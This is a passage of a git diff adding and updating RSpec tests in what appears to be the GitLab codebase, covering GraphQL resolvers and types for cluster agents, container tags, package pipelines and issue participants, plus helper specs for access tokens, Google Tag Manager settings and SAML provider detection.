+ include GraphqlHelpers
+
+ it { expect(described_class.type).to eq(Types::Clusters::AgentActivityEventType) }
+ it { expect(described_class.null).to be_truthy }
+
+ describe '#resolve' do
+ let_it_be(:agent) { create(:cluster_agent) }
+
+ let(:user) { create(:user, maintainer_projects: [agent.project]) }
+ let(:ctx) { { current_user: user } }
+ let(:events) { double }
+
+ before do
+ allow(agent).to receive(:activity_events).and_return(events)
+ end
+
+ subject { resolve(described_class, obj: agent, ctx: ctx) }
+
+ it 'returns events associated with the agent' do
+ expect(subject).to eq(events)
+ end
+
+ context 'user does not have permission' do
+ let(:user) { create(:user, developer_projects: [agent.project]) }
+
+ it { is_expected.to be_empty }
+ end
+ end
+end
diff --git a/spec/graphql/resolvers/container_repository_tags_resolver_spec.rb b/spec/graphql/resolvers/container_repository_tags_resolver_spec.rb
new file mode 100644
index 00000000000..4e7ea253c87
--- /dev/null
+++ b/spec/graphql/resolvers/container_repository_tags_resolver_spec.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Resolvers::ContainerRepositoryTagsResolver do
+ include GraphqlHelpers
+
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project, :public) }
+ let_it_be_with_reload(:repository) { create(:container_repository, project: project) }
+
+ let(:args) { { sort: nil } }
+
+ describe '#resolve' do
+ let(:resolver) { resolve(described_class, ctx: { current_user: user }, obj: repository, args: args) }
+
+ before do
+ stub_container_registry_config(enabled: true)
+ end
+
+ context 'by name' do
+ subject { resolver.map(&:name) }
+
+ before do
+ stub_container_registry_tags(repository: repository.path, tags: %w(aaa bab bbb ccc 123), with_manifest: false)
+ end
+
+ context 'without sort' do
+ # order is not guaranteed
+ it { is_expected.to contain_exactly('aaa', 'bab', 'bbb', 'ccc', '123') }
+ end
+
+ context 'with sorting and filtering' do
+ context "name_asc" do
+ let(:args) { { sort: :name_asc } }
+
+ it { is_expected.to eq(%w(123 aaa bab bbb ccc)) }
+ end
+
+ context "name_desc" do
+ let(:args) { { sort: :name_desc } }
+
+ it { is_expected.to eq(%w(ccc bbb bab aaa 123)) }
+ end
+
+ context 'filter by name' do
+ let(:args) { { sort: :name_desc, name: 'b' } }
+
+ it { is_expected.to eq(%w(bbb bab)) }
+ end
+ end
+ end
+ end
+end
diff --git a/spec/graphql/resolvers/package_pipelines_resolver_spec.rb b/spec/graphql/resolvers/package_pipelines_resolver_spec.rb
new file mode 100644
index 00000000000..d48d4d8ae01
--- /dev/null
+++ b/spec/graphql/resolvers/package_pipelines_resolver_spec.rb
@@ -0,0 +1,84 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Resolvers::PackagePipelinesResolver do
+ include GraphqlHelpers
+
+ let_it_be_with_reload(:package) { create(:package) }
+ let_it_be(:pipelines) { create_list(:ci_pipeline, 3, project: package.project) }
+
+ let(:user) { package.project.owner }
+ let(:args) { {} }
+
+ describe '#resolve' do
+ subject { resolve(described_class, obj: package, args: args, ctx: { current_user: user }) }
+
+ before do
+ package.pipelines = pipelines
+ package.save!
+ end
+
+ it { is_expected.to contain_exactly(*pipelines) }
+
+ context 'with invalid after' do
+ let(:args) { { first: 1, after: 'not_json_string' } }
+
+ it 'raises argument error' do
+ expect { subject }.to raise_error(Gitlab::Graphql::Errors::ArgumentError)
+ end
+ end
+
+ context 'with invalid after key' do
+ let(:args) { { first: 1, after: encode_cursor(foo: 3) } }
+
+ it 'raises argument error' do
+ expect { subject }.to raise_error(Gitlab::Graphql::Errors::ArgumentError)
+ end
+ end
+
+ context 'with invalid before' do
+ let(:args) { { last: 1, before: 'not_json_string' } }
+
+ it 'raises argument error' do
+ expect { subject }.to raise_error(Gitlab::Graphql::Errors::ArgumentError)
+ end
+ end
+
+ context 'with invalid before key' do
+ let(:args) { { last: 1, before: encode_cursor(foo: 3) } }
+
+ it 'raises argument error' do
+ expect { subject }.to raise_error(Gitlab::Graphql::Errors::ArgumentError)
+ end
+ end
+
+ context 'field options' do
+ let(:field) do
+ field_options = described_class.field_options.merge(
+ owner: resolver_parent,
+ name: 'dummy_field'
+ )
+ ::Types::BaseField.new(**field_options)
+ end
+
+ it 'sets them properly' do
+ expect(field).not_to be_connection
+ expect(field.extras).to match_array([:lookahead])
+ end
+ end
+
+ context 'with unauthorized user' do
+ let_it_be(:user) { create(:user) }
+
+ it { is_expected.to be_nil }
+ end
+
+ def encode_cursor(json)
+ GitlabSchema.cursor_encoder.encode(
+ Gitlab::Json.dump(json),
+ nonce: true
+ )
+ end
+ end
+end
diff --git a/spec/graphql/resolvers/users/participants_resolver_spec.rb b/spec/graphql/resolvers/users/participants_resolver_spec.rb
new file mode 100644
index 00000000000..3f04d157410
--- /dev/null
+++ b/spec/graphql/resolvers/users/participants_resolver_spec.rb
@@ -0,0 +1,83 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Resolvers::Users::ParticipantsResolver do
+ include GraphqlHelpers
+
+ describe '#resolve' do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:guest) { create(:user) }
+ let_it_be(:project) { create(:project, :public) }
+ let_it_be(:issue) { create(:issue, project: project) }
+ let_it_be(:note) do
+ create(
+ :note,
+ :system,
+ :confidential,
+ project: project,
+ noteable: issue,
+ author: create(:user)
+ )
+ end
+
+ let_it_be(:note_metadata) { create(:system_note_metadata, note: note) }
+
+ subject(:resolved_items) { resolve(described_class, args: {}, ctx: { current_user: current_user }, obj: issue)&.items }
+
+ before do
+ project.add_guest(guest)
+ project.add_developer(user)
+ end
+
+ context 'when current user is not set' do
+ let(:current_user) { nil }
+
+ it 'returns only publicly visible participants for this user' do
+ is_expected.to match_array([issue.author])
+ end
+ end
+
+ context 'when current user does not have enough permissions' do
+ let(:current_user) { guest }
+
+ it 'returns only publicly visible participants for this user' do
+ is_expected.to match_array([issue.author])
+ end
+ end
+
+ context 'when current user has access to confidential notes' do
+ let(:current_user) { user }
+
+ it 'returns all participants for this user' do
+ is_expected.to match_array([issue.author, note.author])
+ end
+
+ context 'N+1 queries' do
+ let(:query) { -> { resolve(described_class, args: {}, ctx: { current_user: current_user }, obj: issue)&.items } }
+
+ before do
+ # warm-up
+ query.call
+ end
+
+ it 'does not execute N+1 for project relation' do
+ control_count = ActiveRecord::QueryRecorder.new { query.call }
+
+ create(:note, :confidential, project: project, noteable: issue, author: create(:user))
+
+ expect { query.call }.not_to exceed_query_limit(control_count)
+ end
+
+ it 'does not execute N+1 for system note metadata relation' do
+ control_count = ActiveRecord::QueryRecorder.new { query.call }
+
+ new_note = create(:note, :system, project: project, noteable: issue, author: create(:user))
+ create(:system_note_metadata, note: new_note)
+
+ expect { query.call }.not_to exceed_query_limit(control_count)
+ end
+ end
+ end
+ end
+end
diff --git a/spec/graphql/types/admin/analytics/usage_trends/measurement_type_spec.rb b/spec/graphql/types/admin/analytics/usage_trends/measurement_type_spec.rb
index d1c2b4044c1..37c9d6b269c 100644
--- a/spec/graphql/types/admin/analytics/usage_trends/measurement_type_spec.rb
+++ b/spec/graphql/types/admin/analytics/usage_trends/measurement_type_spec.rb
@@ -36,8 +36,14 @@ RSpec.describe GitlabSchema.types['UsageTrendsMeasurement'] do
end
context 'when the user is not admin' do
- it 'returns no data' do
- expect(subject.dig('data', 'usageTrendsMeasurements')).to be_nil
+ it 'returns an error' do
+ expected_err = "The resource that you are attempting to access does not exist or you don't have permission to perform this action"
+
+ expect(subject["errors"].first["message"]).to eq(expected_err)
+ end
+
+ it 'does not return usageTrendsMeasurements data' do
+ expect(subject["data"]["usageTrendsMeasurements"]).to be_nil
end
end
@@ -48,7 +54,7 @@ RSpec.describe GitlabSchema.types['UsageTrendsMeasurement'] do
stub_application_setting(admin_mode: false)
end
- it 'returns data' do
+ it 'returns usageTrendsMeasurements data' do
expect(subject.dig('data', 'usageTrendsMeasurements', 'nodes')).not_to be_empty
end
end
diff --git a/spec/graphql/types/base_edge_spec.rb b/spec/graphql/types/base_edge_spec.rb
new file mode 100644
index 00000000000..3afb4202173
--- /dev/null
+++ b/spec/graphql/types/base_edge_spec.rb
@@ -0,0 +1,76 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Types::BaseEdge do
+ include GraphqlHelpers
+
+ let_it_be(:test_schema) do
+ project_edge_type = Class.new(described_class) do
+ field :proof_of_admin_rights, String,
+ null: true, authorize: :admin_project
+
+ def proof_of_admin_rights
+ 'ok'
+ end
+ end
+
+ project_type = Class.new(::Types::BaseObject) do
+ graphql_name 'Project'
+ authorize :read_project
+ edge_type_class project_edge_type
+
+ field :name, String, null: false
+ end
+
+ Class.new(GraphQL::Schema) do
+ lazy_resolve ::Gitlab::Graphql::Lazy, :force
+ use ::GraphQL::Pagination::Connections
+ use ::Gitlab::Graphql::Pagination::Connections
+
+ query(Class.new(::Types::BaseObject) do
+ graphql_name 'Query'
+ field :projects, project_type.connection_type, null: false
+
+ def projects
+ context[:projects]
+ end
+ end)
+ end
+ end
+
+ def document
+ GraphQL.parse(<<~GQL)
+ query {
+ projects {
+ edges {
+ proofOfAdminRights
+ node { name }
+ }
+ }
+ }
+ GQL
+ end
+
+ it 'supports field authorization on edge fields' do
+ user = create(:user)
+ private_project = create(:project, :private)
+ member_project = create(:project, :private)
+ maintainer_project = create(:project, :private)
+ public_project = create(:project, :public)
+
+ member_project.add_developer(user)
+ maintainer_project.add_maintainer(user)
+ projects = [private_project, member_project, maintainer_project, public_project]
+
+ data = { current_user: user, projects: projects }
+ query = GraphQL::Query.new(test_schema, document: document, context: data)
+ result = query.result.to_h
+
+ expect(graphql_dig_at(result, 'data', 'projects', 'edges', 'node', 'name'))
+ .to contain_exactly(member_project.name, maintainer_project.name, public_project.name)
+
+ expect(graphql_dig_at(result, 'data', 'projects', 'edges', 'proofOfAdminRights'))
+ .to contain_exactly(nil, 'ok', nil)
+ end
+end
diff --git a/spec/graphql/types/boards/board_issue_input_type_spec.rb b/spec/graphql/types/boards/board_issue_input_type_spec.rb
index 5d3efb9b40d..ed2872c3598 100644
--- a/spec/graphql/types/boards/board_issue_input_type_spec.rb
+++ b/spec/graphql/types/boards/board_issue_input_type_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe GitlabSchema.types['BoardIssueInput'] do
it 'has specific fields' do
allowed_args = %w(labelName milestoneTitle assigneeUsername authorUsername
- releaseTag myReactionEmoji not search assigneeWildcardId)
+ releaseTag myReactionEmoji not search assigneeWildcardId confidential)
expect(described_class.arguments.keys).to include(*allowed_args)
expect(described_class.arguments['not'].type).to eq(Types::Boards::NegatedBoardIssueInputType)
diff --git a/spec/graphql/types/ci/job_need_union_spec.rb b/spec/graphql/types/ci/job_need_union_spec.rb
new file mode 100644
index 00000000000..49df9ddc7eb
--- /dev/null
+++ b/spec/graphql/types/ci/job_need_union_spec.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Types::Ci::JobNeedUnion do
+ describe '.resolve_type' do
+ context 'when resolving a build need' do
+ it 'resolves to a BuildNeedType' do
+ resolved_type = described_class.resolve_type(build(:ci_build_need), {})
+
+ expect(resolved_type).to be(Types::Ci::BuildNeedType)
+ end
+ end
+
+ context 'when resolving a build' do
+ it 'resolves to a JobType' do
+ resolved_type = described_class.resolve_type(build(:ci_build), {})
+
+ expect(resolved_type).to be(Types::Ci::JobType)
+ end
+ end
+
+ context 'when resolving an unrelated object' do
+ it 'raises a TypeNotSupportedError for string object' do
+ expect do
+ described_class.resolve_type(+'unrelated object', {})
+ end.to raise_error(Types::Ci::JobNeedUnion::TypeNotSupportedError)
+ end
+
+ it 'raises a TypeNotSupportedError for nil object' do
+ expect do
+ described_class.resolve_type(nil, {})
+ end.to raise_error(Types::Ci::JobNeedUnion::TypeNotSupportedError)
+ end
+
+ it 'raises a TypeNotSupportedError for other CI object' do
+ expect do
+ described_class.resolve_type(build(:ci_pipeline), {})
+ end.to raise_error(Types::Ci::JobNeedUnion::TypeNotSupportedError)
+ end
+ end
+ end
+end
diff --git a/spec/graphql/types/ci/job_token_scope_type_spec.rb b/spec/graphql/types/ci/job_token_scope_type_spec.rb
index 19a8cc324f9..43225b2089b 100644
--- a/spec/graphql/types/ci/job_token_scope_type_spec.rb
+++ b/spec/graphql/types/ci/job_token_scope_type_spec.rb
@@ -12,7 +12,7 @@ RSpec.describe GitlabSchema.types['CiJobTokenScopeType'] do
end
describe 'query' do
- let_it_be(:project) { create(:project, ci_job_token_scope_enabled: true).tap(&:save!) }
+ let(:project) { create(:project, ci_job_token_scope_enabled: true).tap(&:save!) }
let_it_be(:current_user) { create(:user) }
let(:query) do
@@ -65,8 +65,12 @@ RSpec.describe GitlabSchema.types['CiJobTokenScopeType'] do
project.ci_cd_settings.update!(job_token_scope_enabled: false)
end
+ it 'does not return an error' do
+ expect(subject['errors']).to be_nil
+ end
+
it 'returns nil' do
- expect(subject.dig('data', 'project', 'ciJobTokenScope')).to be_nil
+ expect(subject['data']['project']['ciJobTokenScope']).to be_nil
end
end
end
diff --git a/spec/graphql/types/ci/job_type_spec.rb b/spec/graphql/types/ci/job_type_spec.rb
index e95a7da4fe5..e3cb56c2ad5 100644
--- a/spec/graphql/types/ci/job_type_spec.rb
+++ b/spec/graphql/types/ci/job_type_spec.rb
@@ -25,6 +25,7 @@ RSpec.describe Types::Ci::JobType do
needs
pipeline
playable
+ previousStageJobsOrNeeds
queued_at
queued_duration
refName
diff --git a/spec/graphql/types/clusters/agent_activity_event_type_spec.rb b/spec/graphql/types/clusters/agent_activity_event_type_spec.rb
new file mode 100644
index 00000000000..7773bad749d
--- /dev/null
+++ b/spec/graphql/types/clusters/agent_activity_event_type_spec.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe GitlabSchema.types['ClusterAgentActivityEvent'] do
+ let(:fields) { %i[recorded_at kind level user agent_token] }
+
+ it { expect(described_class.graphql_name).to eq('ClusterAgentActivityEvent') }
+ it { expect(described_class).to require_graphql_authorizations(:admin_cluster) }
+ it { expect(described_class).to have_graphql_fields(fields) }
+end
diff --git a/spec/graphql/types/clusters/agent_type_spec.rb b/spec/graphql/types/clusters/agent_type_spec.rb
index 4b4b601b230..a1e5952bf73 100644
--- a/spec/graphql/types/clusters/agent_type_spec.rb
+++ b/spec/graphql/types/clusters/agent_type_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe GitlabSchema.types['ClusterAgent'] do
- let(:fields) { %i[created_at created_by_user id name project updated_at tokens web_path connections] }
+ let(:fields) { %i[created_at created_by_user id name project updated_at tokens web_path connections activity_events] }
it { expect(described_class.graphql_name).to eq('ClusterAgent') }
diff --git a/spec/graphql/types/container_respository_tags_sort_enum_spec.rb b/spec/graphql/types/container_respository_tags_sort_enum_spec.rb
new file mode 100644
index 00000000000..b464037d8d9
--- /dev/null
+++ b/spec/graphql/types/container_respository_tags_sort_enum_spec.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe GitlabSchema.types['ContainerRepositoryTagSort'] do
+ specify { expect(described_class.graphql_name).to eq('ContainerRepositoryTagSort') }
+
+ it 'exposes all the existing issue sort values' do
+ expect(described_class.values.keys).to include(
+ *%w[NAME_ASC NAME_DESC]
+ )
+ end
+end
diff --git a/spec/graphql/types/issue_type_enum_spec.rb b/spec/graphql/types/issue_type_enum_spec.rb
index 7ae5eb76f28..131e92aa5ed 100644
--- a/spec/graphql/types/issue_type_enum_spec.rb
+++ b/spec/graphql/types/issue_type_enum_spec.rb
@@ -5,9 +5,9 @@ require 'spec_helper'
RSpec.describe Types::IssueTypeEnum do
specify { expect(described_class.graphql_name).to eq('IssueType') }
- it 'exposes all the existing issue type values' do
- expect(described_class.values.keys).to include(
- *%w[ISSUE INCIDENT]
+ it 'exposes all the existing issue type values except for task' do
+ expect(described_class.values.keys).to match_array(
+ %w[ISSUE INCIDENT TEST_CASE REQUIREMENT]
)
end
end
diff --git a/spec/graphql/types/issue_type_spec.rb b/spec/graphql/types/issue_type_spec.rb
index c0a0fdf3b0b..1b8bf007a73 100644
--- a/spec/graphql/types/issue_type_spec.rb
+++ b/spec/graphql/types/issue_type_spec.rb
@@ -66,10 +66,16 @@ RSpec.describe GitlabSchema.types['Issue'] do
end
context 'when user does not have the permission' do
- it 'returns no data' do
+ before do
allow(Ability).to receive(:allowed?).with(user, :read_project, project).and_return(false)
+ end
- expect(subject.dig(:data, :project)).to eq(nil)
+ it 'does not return an error' do
+ expect(subject['errors']).to be_nil
+ end
+
+ it 'returns no data' do
+ expect(subject['data']['project']).to be_nil
end
end
diff --git a/spec/graphql/types/packages/package_details_type_spec.rb b/spec/graphql/types/packages/package_details_type_spec.rb
index 7e1103d8aa0..f0b684d6b07 100644
--- a/spec/graphql/types/packages/package_details_type_spec.rb
+++ b/spec/graphql/types/packages/package_details_type_spec.rb
@@ -10,4 +10,13 @@ RSpec.describe GitlabSchema.types['PackageDetailsType'] do
expect(described_class).to include_graphql_fields(*expected_fields)
end
+
+ it 'overrides the pipelines field' do
+ field = described_class.fields['pipelines']
+
+ expect(field).to have_graphql_type(Types::Ci::PipelineType.connection_type)
+ expect(field).to have_graphql_extension(Gitlab::Graphql::Extensions::ExternallyPaginatedArrayExtension)
+ expect(field).to have_graphql_resolver(Resolvers::PackagePipelinesResolver)
+ expect(field).not_to be_connection
+ end
end
diff --git a/spec/graphql/types/project_type_spec.rb b/spec/graphql/types/project_type_spec.rb
index 4f205e861dd..adf5507571b 100644
--- a/spec/graphql/types/project_type_spec.rb
+++ b/spec/graphql/types/project_type_spec.rb
@@ -34,7 +34,7 @@ RSpec.describe GitlabSchema.types['Project'] do
container_repositories container_repositories_count
pipeline_analytics squash_read_only sast_ci_configuration
cluster_agent cluster_agents agent_configurations
- ci_template timelogs merge_commit_template
+ ci_template timelogs merge_commit_template squash_commit_template
]
expect(described_class).to include_graphql_fields(*expected_fields)
diff --git a/spec/graphql/types/range_input_type_spec.rb b/spec/graphql/types/range_input_type_spec.rb
index ca27527c2b5..fc9126247fa 100644
--- a/spec/graphql/types/range_input_type_spec.rb
+++ b/spec/graphql/types/range_input_type_spec.rb
@@ -24,7 +24,7 @@ RSpec.describe ::Types::RangeInputType do
it 'follows expected subtyping relationships for instances' do
context = GraphQL::Query::Context.new(
- query: OpenStruct.new(schema: nil),
+ query: double('query', schema: nil),
values: {},
object: nil
)
diff --git a/spec/graphql/types/repository/blob_type_spec.rb b/spec/graphql/types/repository/blob_type_spec.rb
index 7f37237f355..21bc88e34c0 100644
--- a/spec/graphql/types/repository/blob_type_spec.rb
+++ b/spec/graphql/types/repository/blob_type_spec.rb
@@ -24,10 +24,12 @@ RSpec.describe Types::Repository::BlobType do
:raw_path,
:replace_path,
:pipeline_editor_path,
+ :code_owners,
:simple_viewer,
:rich_viewer,
:plain_data,
:can_modify_blob,
+ :can_current_user_push_to_branch,
:ide_edit_path,
:external_storage_url,
:fork_and_edit_path,
diff --git a/spec/graphql/types/subscription_type_spec.rb b/spec/graphql/types/subscription_type_spec.rb
index b99df374bb3..bf933945a31 100644
--- a/spec/graphql/types/subscription_type_spec.rb
+++ b/spec/graphql/types/subscription_type_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe GitlabSchema.types['Subscription'] do
it 'has the expected fields' do
expected_fields = %i[
issuable_assignees_updated
+ issue_crm_contacts_updated
]
expect(described_class).to have_graphql_fields(*expected_fields).only
diff --git a/spec/graphql/types/user_callout_feature_name_enum_spec.rb b/spec/graphql/types/user_callout_feature_name_enum_spec.rb
index 28755e1301b..5dfcfc21708 100644
--- a/spec/graphql/types/user_callout_feature_name_enum_spec.rb
+++ b/spec/graphql/types/user_callout_feature_name_enum_spec.rb
@@ -6,6 +6,6 @@ RSpec.describe GitlabSchema.types['UserCalloutFeatureNameEnum'] do
specify { expect(described_class.graphql_name).to eq('UserCalloutFeatureNameEnum') }
it 'exposes all the existing user callout feature names' do
- expect(described_class.values.keys).to match_array(::UserCallout.feature_names.keys.map(&:upcase))
+ expect(described_class.values.keys).to match_array(::Users::Callout.feature_names.keys.map(&:upcase))
end
end
diff --git a/spec/helpers/access_tokens_helper_spec.rb b/spec/helpers/access_tokens_helper_spec.rb
index 28041203447..c2c918bc6b0 100644
--- a/spec/helpers/access_tokens_helper_spec.rb
+++ b/spec/helpers/access_tokens_helper_spec.rb
@@ -15,4 +15,53 @@ RSpec.describe AccessTokensHelper do
it { expect(helper.scope_description(prefix)).to eq(description_location) }
end
end
+
+ describe '#tokens_app_data' do
+ let_it_be(:feed_token) { 'DUKu345VD73Py7zz3z89' }
+ let_it_be(:incoming_email_token) { 'az4a2l5f8ssa0zvdfbhidbzlx' }
+ let_it_be(:static_object_token) { 'QHXwGHYioHTgxQnAcyZ-' }
+ let_it_be(:feed_token_reset_path) { '/-/profile/reset_feed_token' }
+ let_it_be(:incoming_email_token_reset_path) { '/-/profile/reset_incoming_email_token' }
+ let_it_be(:static_object_token_reset_path) { '/-/profile/reset_static_object_token' }
+ let_it_be(:user) do
+ build(
+ :user,
+ feed_token: feed_token,
+ incoming_email_token: incoming_email_token,
+ static_object_token: static_object_token
+ )
+ end
+
+ it 'returns expected json' do
+ allow(Gitlab::CurrentSettings).to receive_messages(
+ disable_feed_token: false,
+ static_objects_external_storage_enabled?: true
+ )
+ allow(Gitlab::IncomingEmail).to receive(:supports_issue_creation?).and_return(true)
+ allow(helper).to receive_messages(
+ current_user: user,
+ reset_feed_token_profile_path: feed_token_reset_path,
+ reset_incoming_email_token_profile_path: incoming_email_token_reset_path,
+ reset_static_object_token_profile_path: static_object_token_reset_path
+ )
+
+ expect(helper.tokens_app_data).to eq({
+ feed_token: {
+ enabled: true,
+ token: feed_token,
+ reset_path: feed_token_reset_path
+ },
+ incoming_email_token: {
+ enabled: true,
+ token: incoming_email_token,
+ reset_path: incoming_email_token_reset_path
+ },
+ static_object_token: {
+ enabled: true,
+ token: static_object_token,
+ reset_path: static_object_token_reset_path
+ }
+ }.to_json)
+ end
+ end
end
diff --git a/spec/helpers/application_helper_spec.rb b/spec/helpers/application_helper_spec.rb
index 7e3f665a99c..7390b9b3f58 100644
--- a/spec/helpers/application_helper_spec.rb
+++ b/spec/helpers/application_helper_spec.rb
@@ -192,20 +192,6 @@ RSpec.describe ApplicationHelper do
end
end
- describe '#contact_sales_url' do
- subject { helper.contact_sales_url }
-
- it 'returns the url' do
- is_expected.to eq("https://#{helper.promo_host}/sales")
- end
-
- it 'changes if promo_url changes' do
- allow(helper).to receive(:promo_url).and_return('https://somewhere.else')
-
- is_expected.to eq('https://somewhere.else/sales')
- end
- end
-
describe '#support_url' do
context 'when alternate support url is specified' do
let(:alternate_url) { 'http://company.example.com/getting-help' }
diff --git a/spec/helpers/auth_helper_spec.rb b/spec/helpers/auth_helper_spec.rb
index c1c961c5cbb..b481c214ca1 100644
--- a/spec/helpers/auth_helper_spec.rb
+++ b/spec/helpers/auth_helper_spec.rb
@@ -283,35 +283,84 @@ RSpec.describe AuthHelper do
before do
allow(Gitlab).to receive(:com?).and_return(is_gitlab_com)
- stub_config(extra: { google_tag_manager_id: 'key' })
allow(helper).to receive(:current_user).and_return(user)
end
- subject(:google_tag_manager_enabled?) { helper.google_tag_manager_enabled? }
-
- context 'on gitlab.com and a key set without a current user' do
- it { is_expected.to be_truthy }
- end
+ subject(:google_tag_manager_enabled) { helper.google_tag_manager_enabled? }
context 'when not on gitlab.com' do
let(:is_gitlab_com) { false }
- it { is_expected.to be_falsey }
+ it { is_expected.to eq(false) }
end
- context 'when current user is set' do
- let(:user) { instance_double('User') }
+ context 'regular and nonce versions' do
+ using RSpec::Parameterized::TableSyntax
- it { is_expected.to be_falsey }
+ where(:gtm_nonce_enabled, :gtm_key) do
+ false | 'google_tag_manager_id'
+ true | 'google_tag_manager_nonce_id'
+ end
+
+ with_them do
+ before do
+ stub_feature_flags(gtm_nonce: gtm_nonce_enabled)
+ stub_config(extra: { gtm_key => 'key' })
+ end
+
+ context 'on gitlab.com and a key set without a current user' do
+ it { is_expected.to be_truthy }
+ end
+
+ context 'when current user is set' do
+ let(:user) { instance_double('User') }
+
+ it { is_expected.to eq(false) }
+ end
+
+ context 'when no key is set' do
+ before do
+ stub_config(extra: {})
+ end
+
+ it { is_expected.to eq(false) }
+ end
+ end
end
+ end
+
+ describe '#google_tag_manager_id' do
+ subject(:google_tag_manager_id) { helper.google_tag_manager_id }
- context 'when no key is set' do
+ before do
+ stub_config(extra: { 'google_tag_manager_nonce_id': 'nonce', 'google_tag_manager_id': 'gtm' })
+ end
+
+ context 'when google tag manager is disabled' do
before do
- stub_config(extra: {})
+ allow(helper).to receive(:google_tag_manager_enabled?).and_return(false)
end
it { is_expected.to be_falsey }
end
+
+ context 'when google tag manager is enabled' do
+ before do
+ allow(helper).to receive(:google_tag_manager_enabled?).and_return(true)
+ end
+
+ context 'when nonce feature flag is enabled' do
+ it { is_expected.to eq('nonce') }
+ end
+
+ context 'when nonce feature flag is disabled' do
+ before do
+ stub_feature_flags(gtm_nonce: false)
+ end
+
+ it { is_expected.to eq('gtm') }
+ end
+ end
end
describe '#auth_app_owner_text' do
@@ -346,4 +395,170 @@ RSpec.describe AuthHelper do
end
end
end
+
+ describe '#auth_strategy_class' do
+ subject(:auth_strategy_class) { helper.auth_strategy_class(name) }
+
+ context 'when configuration specifies no provider' do
+ let(:name) { 'does_not_exist' }
+
+ before do
+ allow(Gitlab.config.omniauth).to receive(:providers).and_return([])
+ end
+
+ it 'returns false' do
+ expect(auth_strategy_class).to be_falsey
+ end
+ end
+
+ context 'when configuration specifies a provider with args but without strategy_class' do
+ let(:name) { 'google_oauth2' }
+ let(:provider) do
+ Struct.new(:name, :args).new(
+ name,
+ 'app_id' => 'YOUR_APP_ID'
+ )
+ end
+
+ before do
+ allow(Gitlab.config.omniauth).to receive(:providers).and_return([provider])
+ end
+
+ it 'returns false' do
+ expect(auth_strategy_class).to be_falsey
+ end
+ end
+
+ context 'when configuration specifies a provider with args and strategy_class' do
+ let(:name) { 'provider1' }
+ let(:strategy) { 'OmniAuth::Strategies::LDAP' }
+ let(:provider) do
+ Struct.new(:name, :args).new(
+ name,
+ 'strategy_class' => strategy
+ )
+ end
+
+ before do
+ allow(Gitlab.config.omniauth).to receive(:providers).and_return([provider])
+ end
+
+ it 'returns the class' do
+ expect(auth_strategy_class).to eq(strategy)
+ end
+ end
+
+ context 'when configuration specifies another provider with args and another strategy_class' do
+ let(:name) { 'provider1' }
+ let(:strategy) { 'OmniAuth::Strategies::LDAP' }
+ let(:provider) do
+ Struct.new(:name, :args).new(
+ 'another_name',
+ 'strategy_class' => strategy
+ )
+ end
+
+ before do
+ allow(Gitlab.config.omniauth).to receive(:providers).and_return([provider])
+ end
+
+ it 'returns false' do
+ expect(auth_strategy_class).to be_falsey
+ end
+ end
+ end
+
+ describe '#saml_providers' do
+ subject(:saml_providers) { helper.saml_providers }
+
+ let(:saml_strategy) { 'OmniAuth::Strategies::SAML' }
+
+ let(:saml_provider_1_name) { 'saml_provider_1' }
+ let(:saml_provider_1) do
+ Struct.new(:name, :args).new(
+ saml_provider_1_name,
+ 'strategy_class' => saml_strategy
+ )
+ end
+
+ let(:saml_provider_2_name) { 'saml_provider_2' }
+ let(:saml_provider_2) do
+ Struct.new(:name, :args).new(
+ saml_provider_2_name,
+ 'strategy_class' => saml_strategy
+ )
+ end
+
+ let(:ldap_provider_name) { 'ldap_provider' }
+ let(:ldap_strategy) { 'OmniAuth::Strategies::LDAP' }
+ let(:ldap_provider) do
+ Struct.new(:name, :args).new(
+ ldap_provider_name,
+ 'strategy_class' => ldap_strategy
+ )
+ end
+
+ let(:google_oauth2_provider_name) { 'google_oauth2' }
+ let(:google_oauth2_provider) do
+ Struct.new(:name, :args).new(
+ google_oauth2_provider_name,
+ 'app_id' => 'YOUR_APP_ID'
+ )
+ end
+
+ context 'when configuration specifies no provider' do
+ before do
+ allow(Devise).to receive(:omniauth_providers).and_return([])
+ allow(Gitlab.config.omniauth).to receive(:providers).and_return([])
+ end
+
+ it 'returns an empty list' do
+ expect(saml_providers).to be_empty
+ end
+ end
+
+ context 'when configuration specifies a provider with a SAML strategy_class' do
+ before do
+ allow(Devise).to receive(:omniauth_providers).and_return([saml_provider_1_name])
+ allow(Gitlab.config.omniauth).to receive(:providers).and_return([saml_provider_1])
+ end
+
+ it 'returns the provider' do
+ expect(saml_providers).to match_array([saml_provider_1_name])
+ end
+ end
+
+ context 'when configuration specifies two providers with a SAML strategy_class' do
+ before do
+ allow(Devise).to receive(:omniauth_providers).and_return([saml_provider_1_name, saml_provider_2_name])
+ allow(Gitlab.config.omniauth).to receive(:providers).and_return([saml_provider_1, saml_provider_2])
+ end
+
+ it 'returns the provider' do
+ expect(saml_providers).to match_array([saml_provider_1_name, saml_provider_2_name])
+ end
+ end
+
+ context 'when configuration specifies a provider with a non-SAML strategy_class' do
+ before do
+ allow(Devise).to receive(:omniauth_providers).and_return([ldap_provider_name])
+ allow(Gitlab.config.omniauth).to receive(:providers).and_return([ldap_provider])
+ end
+
+ it 'returns an empty list' do
+ expect(saml_providers).to be_empty
+ end
+ end
+
+ context 'when configuration specifies four providers but only two with SAML strategy_class' do
+ before do
+ allow(Devise).to receive(:omniauth_providers).and_return([saml_provider_1_name, ldap_provider_name, saml_provider_2_name, google_oauth2_provider_name])
+ allow(Gitlab.config.omniauth).to receive(:providers).and_return([saml_provider_1, ldap_provider, saml_provider_2, google_oauth2_provider])
+ end
+
+ it 'returns the provider' do
+ expect(saml_providers).to match_array([saml_provider_1_name, saml_provider_2_name])
+ end
+ end
+ end
end
